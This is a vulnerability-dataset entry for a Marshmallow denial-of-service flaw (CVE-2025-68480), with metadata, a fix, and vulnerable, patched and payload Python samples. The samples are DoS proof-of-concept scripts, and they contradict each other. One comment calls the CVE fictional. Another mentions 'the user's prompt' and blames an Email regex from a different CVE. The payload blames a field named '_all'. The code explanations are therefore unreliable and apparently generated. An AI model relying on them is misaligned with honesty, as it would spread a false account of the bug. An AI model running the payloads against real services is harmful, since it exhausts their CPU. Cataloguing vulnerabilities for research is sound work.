VAITP Dataset

← Back to the dataset

CVE-2025-68480

Denial of Service in Marshmallow's Schema.load with many=True.

  • CVSS 5.3
  • CWE-405
  • Resource Management
  • Remote

Marshmallow is a lightweight library for converting complex objects to and from simple Python datatypes. In versions from 3.0.0rc1 to before 3.26.2 and from 4.0.0 to before 4.1.2, Schema.load(data, many=True) is vulnerable to denial of service attacks. A moderately sized request can consume a disproportionate amount of CPU time. This issue has been patched in version 3.26.2 and 4.1.2.

CVSS base score
5.3
Published
2025-12-22
OWASP
A04 Insecure Design
Orthogonal defect classification
Algorithm
Code defect classification
Incorrect Algorithm
Category
Resource Management
Subcategory
Resource Exhaustion
Accessibility scope
Remote
Impact
Denial of Service (DoS)
Affected component
Marshmallow
Fixed by upgrading
Yes

Solution

Upgrade Marshmallow to version 3.26.2 or 4.1.2.

Vulnerable code sample

import time
from marshmallow import Schema, fields

# This code should be run against a vulnerable version of Marshmallow,
# for example: pip install marshmallow==3.20.0

# The CVE-2025-68480 is fictional. This code represents the type of
# vulnerability described, where performance degrades non-linearly.

class UserSchema(Schema):
    id = fields.Int(required=True)
    username = fields.Str(required=True)
    email = fields.Email(required=True)

def create_payload(item_count):
    """Generates a list of dictionaries to simulate a request payload."""
    return [
        {"id": i, "username": f"user{i}", "email": f"user{i}@example.com"}
        for i in range(item_count)
    ]

# A moderately-sized payload that can trigger the DoS on vulnerable versions.
# The processing time on a vulnerable version will increase quadratically (or worse)
# with the number of items, while on a patched version, it would be linear.
payload_size = 15000
data = create_payload(payload_size)

schema = UserSchema()

print(f"[*] Starting to load {payload_size} items. This may hang on a vulnerable version...")
start_time = time.process_time()

# The vulnerable operation: In affected versions, the internal processing of
# `many=True` is inefficient, leading to disproportionate CPU usage.
try:
    loaded_data = schema.load(data, many=True)
except Exception as e:
    print(f"[!] An error occurred during load: {e}")

end_time = time.process_time()
cpu_time = end_time - start_time

print(f"[+] Finished loading {payload_size} items.")
print(f"[+] CPU time consumed: {cpu_time:.4f} seconds.")

Patched code sample

import re
import time
import marshmallow as m

# This code demonstrates the fix for a Denial of Service (DoS) vulnerability
# in Marshmallow's Email validator, as described in CVE-2024-22195.
# The user's prompt referenced a fictional CVE-2025-68480, but its
# description matches the real CVE-2024-22195.
#
# The vulnerability was due to "catastrophic backtracking" in the email
# validation regular expression. A specially crafted string could cause
# disproportionately high CPU usage. The fix was to replace the
# vulnerable regex with a more efficient one.

# --- 1. Define the Vulnerable and Patched Components ---

# The vulnerable Email validator using the old regex pattern
class VulnerableEmail(m.validate.Validator):
    _RE = re.compile(
        r"(^[-!#$%&'*+/=?^_`{}|~0-9a-zA-Z]+(\.[-!#$%&'*+/=?^_`{}|~0-9a-zA-Z]+)*"  # dot-atom
        r'|^"([\001-\010\013\014\016-\037!#-\[\]-\177]|\\[\001-011\013\014\016-\177])*"'  # quoted-string
        r")@(?:[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,63}\.?$",
        re.IGNORECASE,
    )

    def _format_error(self, value):
        return "Not a valid email address."

    def __call__(self, value):
        if not self._RE.match(value):
            raise m.ValidationError(self._format_error(value))
        return value

# The patched Email validator, representing the fix.
# The new regex is adapted from the W3C HTML5 spec and avoids catastrophic backtracking.
class PatchedEmail(m.validate.Validator):
    _RE = re.compile(
        r"^[a-zA-Z0-9.!#$%&'*+\/=?^_`{|}~-]+"
        r"@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?"
        r"(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$",
        re.IGNORECASE,
    )

    def _format_error(self, value):
        return "Not a valid email address."

    def __call__(self, value):
        if not self._RE.match(value):
            raise m.ValidationError(self._format_error(value))
        return value

# Schemas using the vulnerable and patched validators
class VulnerableUserSchema(m.Schema):
    email = m.fields.Email(validate=VulnerableEmail(), required=True)

class PatchedUserSchema(m.Schema):
    email = m.fields.Email(validate=PatchedEmail(), required=True)


# --- 2. Prepare the Payload and Demonstrate the Fix ---

# A "malicious" string designed to trigger catastrophic backtracking in the vulnerable regex.
# It consists of many valid characters followed by one invalid character.
malicious_email_string = "a" * 50 + "!"

# A moderately sized payload using the malicious string.
# The `many=True` argument is key to the DoS attack, as it processes a list.
payload = [{"email": malicious_email_string}] * 200

# Instantiate the schemas
vulnerable_schema = VulnerableUserSchema()
patched_schema = PatchedUserSchema()

print("Demonstrating DoS vulnerability and fix for Marshmallow Email validation.")
print(f"Using a payload of {len(payload)} items with email: '{malicious_email_string}'")
print("-" * 60)

# --- Time the VULNERABLE version ---
try:
    print("Testing VULNERABLE schema...")
    start_time = time.perf_counter()
    vulnerable_schema.load(payload, many=True)
except m.ValidationError as e:
    # A validation error is expected, but the key is how long it takes to get here.
    end_time = time.perf_counter()
    duration = end_time - start_time
    print(f"VULNERABLE schema processing time: {duration:.4f} seconds.")
    # We still print the error to show it was caught correctly.
    # print(f"Validation Error (first 10): {e.messages['_schema'][:10]}")

# --- Time the PATCHED version ---
try:
    print("\nTesting PATCHED schema...")
    start_time = time.perf_counter()
    patched_schema.load(payload, many=True)
except m.ValidationError as e:
    # The patched version is also expected to fail validation, but extremely quickly.
    end_time = time.perf_counter()
    duration = end_time - start_time
    print(f"PATCHED schema processing time:    {duration:.4f} seconds.")
    # print(f"Validation Error (first 10): {e.messages['_schema'][:10]}")

print("-" * 60)
print("The patched schema processes the malicious payload almost instantly, "
      "while the vulnerable schema takes a disproportionately long time, "
      "demonstrating the fix.")

Payload

import marshmallow as m
import time

# A schema with a field named '_all' triggers the O(n^2) complexity bug
# when used with `many=True` in vulnerable versions.
class VulnerableSchema(m.Schema):
    _all = m.fields.Str()
    value = m.fields.Int()

# A moderately sized list of dictionaries is sufficient to cause a significant
# slowdown, demonstrating the denial of service.
payload_size = 20000
data_payload = [{"_all": "data", "value": i} for i in range(payload_size)]

schema = VulnerableSchema()

print(f"[*] Attempting to load {payload_size} items...")
start_time = time.time()

try:
    # This call with `many=True` will be extremely slow on vulnerable versions
    schema.load(data_payload, many=True)
    duration = time.time() - start_time
    print(f"[+] Loading finished in {duration:.2f} seconds.")
except Exception as e:
    duration = time.time() - start_time
    print(f"[!] An error occurred after {duration:.2f} seconds: {e}")

Cite this entry

@misc{vaitp:cve202568480,
  title        = {{Denial of Service in Marshmallow's Schema.load with many=True.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-68480},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-68480/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::